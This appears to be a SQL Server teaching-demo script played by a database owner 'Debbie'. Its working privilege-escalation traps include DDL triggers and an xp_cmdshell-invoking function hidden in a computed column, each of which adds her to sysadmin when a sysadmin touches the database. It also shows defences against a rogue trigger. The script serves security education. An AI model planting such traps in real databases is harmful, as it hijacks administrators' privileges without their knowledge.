-- Start in 01_DDLtrigger.sql and come here 
-- when asked to.
-- Run this window logged in as DebbieOwner.
SELECT SYSTEM_USER
go
USE AppDB
go
-- Debbie starts working and adds a table.
CREATE TABLE TableOne(id int NOT NULL,
                     data nvarchar(128) NOT NULL,
                     CONSTRAINT pk_TableOne PRIMARY KEY (id)
)
INSERT TableOne(id, data)
   SELECT object_id, name FROM sys.objects

-- Switch back to sysadmin.sql

-- What is Debbie up to now?
CREATE OR ALTER TRIGGER EvilDdlTri ON DATABASE 
   FOR DDL_DATABASE_LEVEL_EVENTS AS
   IF is_srvrolemember('sysadmin') = 1
      ALTER SERVER ROLE sysadmin ADD MEMBER DebbieOwner
go
-- Switch back to sysadmin.sql

-- Can Debbie counterstrike with help of REVERT?
CREATE OR ALTER TRIGGER EvilDdlTri ON DATABASE 
   FOR DDL_DATABASE_LEVEL_EVENTS AS
   REVERT
   IF is_srvrolemember('sysadmin') = 1
      ALTER SERVER ROLE sysadmin ADD MEMBER DebbieOwner
go

-------------------------------------------------------------
-- Demo 3
SELECT name FROM sys.database_principals 
WHERE is_rolemember('db_owner', name) = 1
go

-- Go back to DevDave.sql.

-- Coming back to Debbie, after Dave has created a DDL trigger.
-- DebbieOwner creates a new table.
CREATE TABLE TableTwo (a int NOT NULL)
go

-- And look who is now in db_owner.
SELECT name FROM sys.database_principals 
WHERE is_rolemember('db_owner', name) = 1

-- This is how Debbie can defend herself.
-- First review all DDL triggers.
SELECT * FROM sys.triggers WHERE parent_class_desc = 'DATABASE'
go
-- Drop undesired ones.
DROP TRIGGER DevDavesDdlTri ON DATABASE
go
-- Take DevDave out of db_owner, and verify that he is not there.
ALTER ROLE db_owner DROP MEMBER DevDave
SELECT name FROM sys.database_principals 
WHERE is_rolemember('db_owner', name) = 1
go
-- Drop Dave from db_ddladmin.
ALTER ROLE db_ddladmin DROP MEMBER DevDave
go
-- Create a new role.
CREATE ROLE our_ddladmin
go
-- Make that role member of db_ddladmin.
ALTER ROLE db_ddladmin ADD MEMBER our_ddladmin
go
-- But deny this role the right to play with DDL triggers!
DENY ALTER ANY DATABASE DDL TRIGGER TO our_ddladmin
go
-- Add Dave to this role.
ALTER ROLE our_ddladmin ADD MEMBER DevDave
go
-- Make a final check.
SELECT name FROM sys.database_principals 
WHERE is_rolemember('db_owner', name) = 1
go

-- Go to DevDave.sql.
go
--------------------------------------------------------
-- Demo 4.

-- Debbie writes a suspicious function:
CREATE OR ALTER FUNCTION EvilFunc() RETURNS int AS
BEGIN
   DECLARE @cmd varchar(255)
   IF is_srvrolemember ('sysadmin') = 1 AND
      (SELECT value_in_use FROM sys.configurations WHERE name = 'xp_cmdshell') = 1
   BEGIN
      IF is_srvrolemember('sysadmin', 'DebbieOwner') = 0
      BEGIN
         SELECT @cmd = 'SQLCMD -S ' + @@servername + 
              ' -Q"ALTER SERVER ROLE sysadmin ADD MEMBER DebbieOwner"'
         EXEC master.sys.xp_cmdshell @cmd, 'no_output'
      END
   END

   RETURN NULL
END      
go
-- She adds a computed column to TableOne.
ALTER TABLE TableOne ADD ExtraCol AS dbo.EvilFunc()
go
-- SELECT works:
SELECT * FROM dbo.TableOne

-- And then she asks me to look at TableOne. Over to sysadmin.sql!